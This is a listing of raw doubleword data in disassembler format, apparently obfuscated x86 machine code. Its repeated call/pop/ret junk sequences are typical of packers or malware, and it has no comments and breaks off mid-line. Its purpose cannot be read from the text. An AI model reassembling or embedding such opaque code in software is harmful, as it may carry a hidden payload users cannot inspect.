0C3850AAFh, 67654625h, 2CE6CD86h, 0CA70392Fh dd 23E0CB58h, 0D1F0319Ah, 7D8291E7h, 2BA55F81h, 0BCC17896h dd 71B09B12h, 23E0C2C8h, 3BA35390h, 0D34DC63Eh, 12EFB830h dd 7BBA9541h, 238A5B50h, 23E323D1h, 7EC0CB42h, 4F6996E2h dd 6761CFB4h, 23F7CF6Ch, 76A5CB24h, 0C0EA54D1h, 2A753405h dd 0A2E6C89Fh, 0B6F3D788h, 4938401Bh, 20089D90h, 3E0CB48h dd 0AABE087Ah, 0A2E4EF66h, 3BE4EF4Dh, 65E0CB84h, 88960814h dd 0A81F8CA7h, 20C4EA1Dh, 1B65464Eh, 0AAE6CD83h, 20C4EEA7h dd 0F457C40Fh, 23EA22D4h, 0B4C6CB42h, 0FF37AEDFh, 0D19FB20Eh dd 0CAC4CFC1h, 23E0CB37h, 85A6CA06h, 75CA9C9h, 98F4B350h dd 0E613054h, 0B00E4A6Bh, 0B84C4A29h, 2C809B2Eh, 23E0C9A6h dd 0CA81AB12h, 23E0CB07h, 3F2F0139h, 9B5141DEh, 36711603h dd 0B0813FC1h, 0CBB7CB22h, 23E0CB27h, 7C239432h, 27C4B780h dd 27C48F05h, 23E0CB5Ah, 4A239C66h, 236D1376h, 0A955EB7h dd 9C5ECD27h, 0AADDEC7Ah, 20F16E8Ch, 70E0A182h, 23E0C8AAh dd 0E0BBEB21h, 7BC42CBh, 7A44A4Ch, 23E0D720h, 0E0B38812h dd 19498A4Fh, 0B6123B1Fh, 5A650C07h, 2CE6C809h, 49E0CB90h dd 20089B48h, 3E0CB24h, 0AAB8084Ah, 0A2E4EF4Dh, 3EE4EFC0h dd 63E0CB42h, 993D0871h, 8BEA09B5h, 7F361707h, 292546AFh dd 0B61FCD11h, 25E3DAACh, 0CBB5CBEEh, 23E0CB41h, 7E239601h dd 27C4A719h, 27C48FC9h, 23E0CB3Ch, 0A0239E57h, 0DF1F8787h dd 23E0D96Dh, 302A4242h, 0B97382FEh, 8624A6B8h, 24A0BD6h dd 12D493D4h, 20FD8687h, 7E65420Fh, 49E6C89Bh, 20089D42h dd 3E0CB21h, 0AABE08CEh, 0A2E4EF3Ch, 34E4EF60h, 65E0CB12h dd 338C085Fh, 2B09CF50h, 4AE0CB42h, 0E906F062h, 2CE60ACAh dd 23E0CFC9h, 875EAD24h, 1E65402Bh, 0AEE6C81Bh, 255BE819h dd 22A34244h, 236576ACh, 966DCD93h, 25E671B5h, 23E0F89Dh dd 0C8443812h, 23E0733Ah, 0E3EBCB84h, 3B22C836h, 7A44021h dd 2308989Ch, 78E0CB48h, 23F708A5h, 7F69CB12h, 6769DB2Dh dd 9BBBDFA0h, 237F6B75h, 676B2BDEh, 0C31FCFB4h, 0CBB0CB22h dd 23E0CB27h, 7B239332h, 27C48F80h, 27C48F05h, 23E0CB5Ah dd 66239B61h, 13ED8046h, 23E0C0A0h, 0E82E2B24h, 0BE07E978h dd 0AAE3B562h, 0D2224AD4h, 7990539Fh, 238AAA7Eh, 23E323C0h dd 7BC0CB48h, 676993E7h, 6761CF36h, 23F4CF2Dh, 73A0CB84h dd 9E699081h, 25E3D570h, 0AECB0E10h, 2547F3F5h, 886D4622h dd 9BE6CDA9h, 0BBC6603Ch, 6354EB7h, 0ECCBCD41h, 14238AABh dd 2123E323h, 537DC0CBh, 6C576995h, 6761CFh, 1223F6CFh dd 8375A6CBh, 0A4F305E9h, 890FD98Bh, 1, 56E9FCh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 611D9DC3h, 0C8A0Fh, 8E0F0000h, 6, 810Fh, 6AC30000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 1A5BC350h, 1880Fh, 0FCF50000h, 6AC08Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 18272DC3h, 80608E4Ah, 8F0FD5C5h, 1, 0BD8361F5h, 6031039h dd 83097500h, 3111DBDh, 19740006h, 0C08B5350h, 4B9B8h dd 91858900h, 8D060323h, 5B0F89Dh, 5BD3FF06h, 1DBD8358h dd 60311h, 53501774h, 4B9B8h, 91858900h, 8D060323h, 5AD999Dh dd 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0BE944B4Fh, 13E9h, 27E47300h, 7B549E9h dd 782D4F5Fh, 0C187F9D7h, 20796929h, 860FC08Bh, 16h, 9E860h dd 6C240000h, 7292B881h, 5F923EC0h, 70CE8166h, 8B406114h dd 816052C1h, 6040B3D2h, 5E61FC52h, 4EBh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 858D46C3h, 6032811h, 13E9h, 4DAAD400h, 0FD888B2h, 0C9B8DE74h dd 7B578847h, 67103562h, 44BA6050h, 0BF2AB998h, 6B6428E6h dd 24048961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0DCC35343h, 4FFD6DC3h, 0E9529FDBh, 0Fh, 0F8570F31h dd 23AEFCF3h, 0FF788505h, 5F814748h, 99BE006Ah, 6A448126h dd 858DF500h, 606BE9Dh, 2939B50Bh, 0C0830603h, 0BF665005h dd 4894F37h, 0DE816624h, 6A1678h, 1E99B58Bh, 6A0603h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 1CC35242h, 0EBC065E1h dd 95FFBD81h, 6030CC9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 7EC35141h, 6240C8F9h, 3C33753Ch, 0E8D0F54h dd 60000000h, 241D8D89h, 0BD030603h, 6032DF5h, 8D9D2961h dd 8D060303h, 697479Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 56C83F7Eh, 0D1AF3001h dd 0DE816B78h, 761CFB40h, 8B51D3FFh, 33281BDh, 85FF5E06h dd 6032A15h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 86C35545h, 0A7A37A30h, 10E9h, 0C267F800h, 7E1644h dd 0CEEF9810h, 56284D98h, 77FE9A1h, 0E80000h, 5D000000h dd 0BEA7ED81h, 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 8CBE25C3h, 53100136h, 2879BD81h dd 7D00603h, 860F0000h, 187h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 1FC35747h, 0D9F26Ch, 0DE12C681h dd 9D8B4CD6h, 60313ADh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0ABC35141h, 1D0C8D8Ch, 9DF78166h, 0EE8BBh dd 143B0000h dd 5177D31Ch, 6C3F4266h, 0BD2E0F12h, 6E8h, 71B0E100h, 0F95F059Dh dd 0E3815F5Eh, 100h, 6870Fh, 0BD890000h, 6030C61h, 850FDB0Bh dd 7Fh, 24E1B58Bh, 0BD830603h, 606BD0Ah, 35840F00h, 56000000h dd 261D9D29h, 0E95E0603h, 69h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 28C35343h, 25258D29h, 85890603h dd 603133Dh, 0BD0A85C7h, 10606h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 9D8903C3h dd 6031AB9h, 10E9h, 61B58900h, 0C7060326h, 6BD0A85h, 6 dd 0AD9D8D00h, 6A060313h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 183FC355h, 50710DF2h dd 8B1DF64Ah, 31FADB5h, 5BD8B06h, 81060312h, 0FFFEFF23h dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0C9583EBh, 0E9B96805h, 9, 81F129Ch, 2E2C43CCh dd 45BD0B9Ch, 66060312h, 0C3F6DB8Ch, 6E840F04h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0F81BC356h, 62702DF7h, 0FC49E80Ch, 11A595FFh dd 0B5330603h, 6032C61h, 52505090h, 810F60h, 0E8000000h dd 0Ah, 2CFD78A3h, 61F2E4E0h, 615AB191h, 10E8310Fh, 0D4000000h dd 70BB4E91h, 12F810A0h, 88205A43h, 503624B6h, 5A310F52h dd 585A5E58h, 3F2E990h, 85890000h, 6032951h, 666000B0h dd 5599D081h, 68A0Fh, 0B5890000h, 6030F39h, 6A70E661h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0EBA8C353h, 0E72B1B69h, 45B58B0Ch, 0E4060313h dd 0DBC68171h, 0F649031h, 6AD8B6h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0F0FBCC3h, 0C681FAB7h dd 22CEE2E8h, 6BAh, 518D8900h, 8B060313h, 56006AC3h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 9E8EC7Bh, 0E0000000h, 879C075Ch, 6D05FB0Ah, 3F34BE66h dd 4E8C15Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 54C35040h, 81AD442Fh, 29CCF1EFh, 310499Dh, 0E2F76606h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FEC35646h dd 93D82B95h, 61605760h, 830F6059h, 0 dd 830Fh, 61610000h, 6E850h, 50A0000h, 755D8986h, 5FF28B66h dd 57006A93h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 9D09C9EEh, 6030BEDh, 8937E781h, 0B5FF34BDh dd 6032879h, 1FB995FFh, 8C0F0603h, 0 dd 950900B0h, 60321D5h, 816670E6h, 0E4CD0BD6h, 55006A71h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 51BD33A0h, 3C060328h, 55830F61h, 8B000002h, 317ADBDh dd 0D8B60F06h, 6BAF8F5h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 89BEC355h dd 0D7DFC1A5h, 0E8897F16h, 9, 4C8D4C24h, 9FB55104h, 63B360C2h dd 1B25BD89h, 5F610603h, 6AC38Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0BF9D53C3h, 286FF92Fh dd 0B1950968h, 0C1060328h, 6A04E8h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0B5E78AC3h dd 0BCDE8166h, 0E2F76623h, 0AE8h, 43608A00h, 0B1DA15E0h dd 0F3174E8h, 1789h, 12E900h, 1E140000h, 6632E193h, 7DC5692Dh dd 7BEE7F05h, 8509304Bh, 6AD82B5Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 1D0C351h dd 2358CFEAh, 331B5BDh, 0BDB58906h, 2B06031Bh, 51880FD8h dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0CF46C351h, 0CEBCACD8h, 8B141E2Fh dd 7B9F0h, 0C1830000h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0BBC302D3h, 0B0363D97h dd 860FD93Bh, 0F8h, 0E9D98C66h, 9, 0EFFDCD74h, 0B1EA8B5Dh dd 4C1F618h, 0BC840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 6DBD9AC3h, 811DAC47h dd 0BE66DBFFh, 95FF464Fh, 60311A5h, 0C69B523h, 0BD8B0603h dd 603304Dh, 55006A5Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 816660ADh, 962E3E7h, 302D9B5h, 0C32B6106h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FFC35242h dd 0F36BC781h, 343D193Fh, 0F000008h, 2986h, 0EBBE5600h dd 5E2B0BA8h, 3FE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0C08B2804h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DCC35242h, 0CE43BE66h dd 0D88BC38Bh, 2151BD8Bh, 85C70603h, 6033159h, 5F299151h dd 619B52Bh, 0BF0F0603h, 6AC08BF6h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0AF10C355h dd 0BD81ABB1h, 6032879h, 7D0h, 37850Fh, 890F0000h, 2, 8B60F08Bh dd 3299D8Dh, 0C88B6606h, 7985FF61h, 6A060328h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 5B3C352h, 79B5FF95h, 6A060328h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0F27EC352h dd 66CF8663h, 937FD681h, 1FB995FFh, 6A0603h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E9F353C3h dd 0C5B6FB6Dh, 0B05B4B4h, 33181BDh, 78B89006h, 60123456h dd 0E8C3B70Fh, 10h, 0C2AD972Bh, 0B90B51C2h, 5AD351FAh dd 0D7627D50h, 10E9h, 0F83FEE00h, 4B3878Bh, 6EC867CEh dd 38179B8h, 8D61597Ah, 6C5BA9Dh, 0F8A8E906h, 6AFFFFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0CF2EF1C3h, 8BD04D30h, 311B1BDh, 0BC18B06h, 31145BDh dd 4EB06h, 89000000h, 310A99Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 942126E7h dd 2C0DBD8Bh, 858D0603h, 6032811h, 13E9h, 0A5431300h, 162391E3h dd 1CDF0053h, 9EAF57CCh, 0D9FD7FAAh, 66525090h, 310FF98Bh dd 5650585Ah, 5FF08B66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 86E91A23h, 2855EF65h dd 8D09CC4Eh, 6030179h, 6AF9B70Fh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 1401525Eh dd 0F772712h, 681h, 9D9D8900h, 6A06030Fh, 68EDBE00h, 0DE903D1h dd 7C000000h, 0E90ED482h, 9CAF8572h, 844C0DAFh, 0C7F0858Dh dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0FA23D5C3h, 0E9491A83h, 6, 42F21711h, 0C0838C53h dd 89B50905h, 9006031Ch, 0BE9h, 0A73FC300h, 0F67E948Bh dd 9D8FC029h, 2E9CBF50h, 89901D8Dh, 30005BDh, 6A006A06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0E56CC356h, 6AF55Eh, 2219B529h, 95FF0603h dd 6030CC9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0BBC35646h, 28AB30DDh, 45BD8B34h, 8D06030Ch, 697479Dh dd 398D2906h, 0FF060323h, 0A9BD0BD3h, 0FF06032Ah, 32A1585h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 4F152F0Bh, 490C1983h, 81FEBE66h, 0FBBE9h dd 0E800h, 815D0000h, 6C7FAEDh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 819187C9h dd 32879BDh, 7D006h, 67860F00h, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 5F48C356h dd 0B9068386h, 62A959EFh, 293D9D8Bh, 9D010603h, 6031E1Dh dd 100E381h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0B54D7C3h, 0C0850FDBh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0F6E7C351h, 0AE92BCB0h, 0BF0F1A59h, 2BBD83F9h dd 606C6h, 29840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 4D9DA9C3h, 0A2E9h, 819D8900h dd 0C7060312h, 6C62B85h, 106h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0D2B14483h dd 974C2658h, 0A19529D4h, 0E9060313h, 63h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 86C35141h, 0E4CF8259h dd 7CB9B5C3h, 95BD8B7Dh, 0C7060302h, 6C62B85h, 6, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 77F541DAh, 5160A0D3h, 5BC1B70Fh, 2A819D89h, 8D610603h dd 3293D9Dh, 459D0106h, 8106031Ch, 0FFFEFF23h, 8C66FCFFh dd 57006ADBh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 14E8F1D0h, 0F3000000h, 0C4DB0685h, 22710FFBh dd 57CA11Ch, 22679818h, 501F71C2h, 21FD9589h, 5E5F0603h dd 0F04C3F6h, 2184h, 9852900h, 5106032Dh, 30C1BD8Bh, 0FF5F0603h dd 311A595h, 5E509006h, 90F18B50h, 0CA19509h, 6EE90603h dd 8B000004h, 6A00B0FBh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 2F17C355h, 0DC3476E1h dd 0E66972C5h, 57006A70h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h dd 0C3574700h, 0E406058Ah, 57006A71h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0A13AAF93h dd 38AC54B2h, 0D8B60F25h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 70C35040h, 72CCE960h, 0E962104Ah, 5 dd 7F74FEC4h, 49BD8B47h, 0BA060309h, 6, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CAC35343h, 518E6E26h dd 0C38B8E9Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0FDC35646h, 4E8C153h, 0E2F766F8h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 2CC35545h, 6AD82Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 8BE5C5C3h, 32A69B5h, 8B665006h, 241C89F7h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2DC35343h, 6C9E99E3h dd 78CF8166h, 3830FE5h, 0F000000h, 0B5FFF8B7h, 6032879h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0FCC35545h dd 0D0C6C249h, 0FFF1B70Fh, 31FB995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0EC8A99E7h dd 0EC93BE79h, 0B07F70h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 8DC35242h, 8EC0A284h, 0A24C0313h, 0B50BF38Bh dd 60301C5h, 6A70E6h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 6AD9ACC3h, 819E0CF8h, 0FC82D3E7h dd 5671E451h, 0A691F9BFh, 613C5E73h, 24B830Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8B6687C3h, 0D8B60FF9h, 6BAh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 7C4F48F7h dd 39958953h, 5E06031Ch, 6AC38Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 0E99079C3h, 10h, 4FDD0846h dd 1ED4123Bh, 25BC19D3h, 3C8A4954h, 6604E8C1h, 8AB8C681h dd 29E2F766h, 32AFD9Dh, 8BD82B06h, 31BADBDh, 6A5806h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0E2644AC3h, 0CC1A087h, 4B7CF81h, 0D82B0321h, 17F880Fh dd 0BD8B0000h, 60324E9h, 2C79BD23h, 7B90603h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 4DE4C352h, 0A263AE3Ch, 3B00C183h, 42860FD9h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 6676C353h, 6AD98Ch, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 80CA04C3h dd 0E9D3DA3Fh, 14h, 0C3FC76B9h, 208762CDh, 0E68748BFh dd 0D7450D1Eh, 9649183Ch, 0F04C1F6h, 0B584h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 907BF05h, 0DBC794F2h, 0B58B0C17h, 6033215h, 11A595FFh dd 9D890603h, 6030439h, 19BD8B5Bh, 2B060331h, 51006AC3h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BF66FFDAh, 343D1D69h, 0F000008h, 4986h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 5312E86Fh, 8B0F3ADCh, 1, 0FF860F9h, 0E961DFBFh, 41h dd 6880Fh, 8D890000h, 60323D5h, 5E9h, 6C4D9400h, 0C08B2EF8h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0B4C35343h dd 665624D6h, 1560CBFh, 314559Dh, 8BC38B06h, 52006AD8h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0B0140F78h, 86124D8Ah, 13E89598h, 45000000h, 8F65667Ah dd 1DF46368h, 455DD9D9h, 0CA120967h, 0B5898DCEh, 60308C9h dd 0AD85C75Eh, 9D060313h, 0F3CA6F7h, 1C81h, 10E800h, 0B5C10000h dd 5BEF0B0Fh, 819EF48Eh, 33A049FAh, 8A0F2BF9h, 0 aLJ db '^‹Àj',0 db 56h, 0E8h, 3 dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0DB22C356h, 0FE8B66A0h, 2879BD81h, 7D00603h, 850F0000h dd 4Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh dd 45C35040h, 1B7E334Fh, 66453786h, 85FFFB8Bh, 6032879h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9BC35747h dd 0B5FF7412h, 6032879h, 0FFF98B66h, 31FB995h, 0BF665306h dd 905FCCBEh, 14E940h, 0ACF10000h, 4114AEA7h, 1BA31EFh dd 0E35DD7ACh, 68D3FF49h, 0BD83C687h, 6030351h, 9E840F00h dd 89000000h, 3327D8Dh, 85BD8306h, 6032Eh, 8B840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 80DB3C3h, 0DE3AEA2Ah, 0F78177E6h, 78251518h, 35195FFh dd 0C00B0603h, 53840Fh, 880F0000h, 6, 2C35B52Bh, 8D8D0603h dd 6034D1Ch, 2191B58Bh, 5B80603h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0F78C350h, 4D8AB014h, 95988612h, 0FFF3B70Fh, 199D89E1h dd 8B060306h, 301F9B5h, 0E1BD8306h, 60313h, 751840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0A0AD3DC3h, 81667CB7h, 663288C6h, 836A45BEh, 32E85BDh dd 840F0006h, 71Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 94C35545h, 0D88D2005h, 0EE8B75Ah, 18000000h dd 0F1CEA69Ch, 6080859Dh, 98A706D9h, 35BE66FCh, 14E95F24h dd 61000000h, 0E77E67D4h, 0C2A84729h, 0F26093AFh, 5AB1BCA5h dd 8D658BE6h, 3227D8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 8103B691h, 8401C765h dd 6A44B27Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0CAFAC357h, 608E6E26h, 2EA5B531h dd 3FBE0603h, 6105A2ECh, 0CFCB0181h, 6A1499h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 8CF8EAC3h dd 819151A8h, 0FE9h, 0C8BA6E00h, 49594F4Bh, 0B52FAB45h dd 0E123EA0Dh, 26CDB58Bh, 41C70603h, 706B3404h, 57006ACEh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 60ED5502h, 1499094Ch, 0A5BE156Ah, 8B5BD304h, 30659BDh dd 4418106h, 31D6D710h, 6DF78166h, 8B006A4Fh, 31BA9B5h dd 8DFE8B06h, 3227D85h, 0F88B6606h, 10DDBD8Bh, 50900603h dd 5A310F52h, 52505058h, 2FBB6660h, 619AB245h, 79BE310Fh dd 5A5A4518h, 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 6892DEC3h, 1C77B88Ch, 9E9h, 4D06CF00h dd 6058BC56h, 95FF1A01h, 60313E1h, 0CE9h, 0AF283C00h, 0CB8056B9h dd 0BB4E91D4h, 7D8D8D70h, 6A060322h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FA9C357h dd 1C7FBBFh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 93C35343h dd 0EB04BEEDh, 0BD8B59F5h, 6032519h, 441C7h, 0F000000h dd 283h, 66F08B00h, 0BEC47BEh, 98840FC0h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0D33EC355h, 0C4E4F2B9h, 4D1C8D8Dh, 0DF810603h, 0C8A217Eh dd 5B8h, 17880F00h, 0E9000000h, 12h, 0B6504DB0h, 0FDF483FCh dd 0AD4C44F0h, 38E0F099h, 0E1FF19B9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 44C35646h, 0F18B6633h, 1B8B0Fh dd 870F0000h, 15h, 10E9h, 782B3E00h, 0C7421E35h, 0FE49B0A9h dd 0DC50D327h, 39BD8B01h, 8D060313h, 3227D8Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 8166E91Ah, 8B2FD2D6h, 31CC5BDh, 7C01C706h, 8B44AA72h dd 305A1B5h, 0CB018106h, 0C71499CFh, 753C0441h, 6ACE78h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 905C3h, 31D7E0F5h, 0F18B6632h, 10044181h, 0E931D6D7h dd 0Fh, 47E82A96h, 0F6649EE1h, 0CDE1F487h, 6AAB28A8h, 6E900h dd 0A7960000h, 82AF4B68h, 68C0Fh, 95890000h, 6030021h dd 227D858Dh, 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 7A4EEEC3h, 1C5B529h, 0B70F0603h dd 14E950FAh, 0B1000000h, 0F99F726Bh, 894B727Fh, 0ABF5ED68h dd 0C2B3C5FFh, 89615198h, 0BD092404h, 6031135h, 13E195FFh dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 72F442C3h, 78A99F22h, 898B9B93h, 31CC58Dh dd 7D8D8D06h, 66060322h, 8D0FFA8Bh, 6, 1E71B58Bh, 1C70603h dd 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 19C35747h dd 31BD333Ch, 0C7060324h, 441h, 0B58B0000h, 603109Dh, 840FC00Bh dd 0B0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0CFC35747h, 16B1C06Bh, 668F8D61h, 5CB4CE81h, 5640CE81h dd 8D8D68F6h, 6034D1Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0F6C35242h, 2597738Fh, 7E9h, 86A14600h dd 558153EDh, 5B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 3A00888Ah, 0F5CDDCBCh dd 0E1FFC28Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 90C35141h, 5501F5A3h, 5256BF66h, 227D8D8Dh, 6A0603h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 2FDAF3C3h, 0B58B4DEAh, 60302E5h, 0C7F9B70Fh, 0CA95A501h dd 55006A54h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 853150A4h, 6031C19h, 0CFCB0181h, 6A1499h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0CCBC4AC3h, 1D85B589h, 85090603h, 6031FFDh, 690441C7h dd 89CE5F59h, 32469B5h, 4418106h, 31D6D710h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 5BC35646h, 0F73ADDD5h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 89788FC3h, 93850AFh, 0E181601Dh, 20B89DDEh dd 858D61F9h, 603227Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0FDC35343h, 